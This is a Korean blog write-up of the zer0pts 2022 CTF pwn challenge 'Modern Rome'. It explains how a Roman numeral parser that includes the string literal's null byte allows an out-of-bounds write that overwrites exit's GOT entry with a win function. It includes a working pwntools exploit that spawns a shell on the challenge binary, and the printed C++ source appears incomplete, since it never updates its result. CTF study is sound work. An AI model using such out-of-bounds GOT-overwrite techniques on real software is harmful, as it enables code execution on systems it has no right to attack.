CTF
zer0pts 2022 / Modern Rome
lok2h4rd
2022. 3. 25. 01:07
삽질하다 못 풀고 대회가 끝나버렸다... 좀 전에 vs에 코드가 남아있길래 다시 차근차근 분석해보니까 코드 분석을 제대로 안 해서 못 풀었다..

고대 숫자 체계가 여전히 현대에서도 사용된다고 한다
해당 문제는 바이너리와 C++로 작성된 원본 코드가 주어졌다

#include <string>
#include <iostream>
#include <stdio.h>
short buf[10];
short readroman() {
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c : "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
}
return res;
}
int main() {
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
주어진 C++ 코드에는 없지만 주어진 바이너리에는 쉘을 띄워는 win함수가 존재한다

풀 때는 M까지가 끝으로 최대 9999까지만 가능한 줄 알았다... 지금 보니까 뒤에 \x00이 존재했다 (string 마지막에 널바이트도 포함될지 몰랐다..)
OOB를 통해 exit의 got주소를 win함수로 parital overwrite을 해서 쉘을 띄웠다
from pwn import *
p = process("./chall")
#gdb.attach(p)
ind = b"\x00\x00\x00\x00\x00\x00"
ind += b"MMMMM"
ind += b"C"
ind += b"XXXXXX"
ind += b"IIII"
p.recvuntil(b": ")
p.sendline(ind)
val = b"MMMM"
val += b"CCCCCCCC"
val += b"XXXXX"
val += b"IIII"
p.recvuntil(b": ")
p.sendline(val)
p.interactive()

포기하지 말고 조금만 더 삽질했더라면....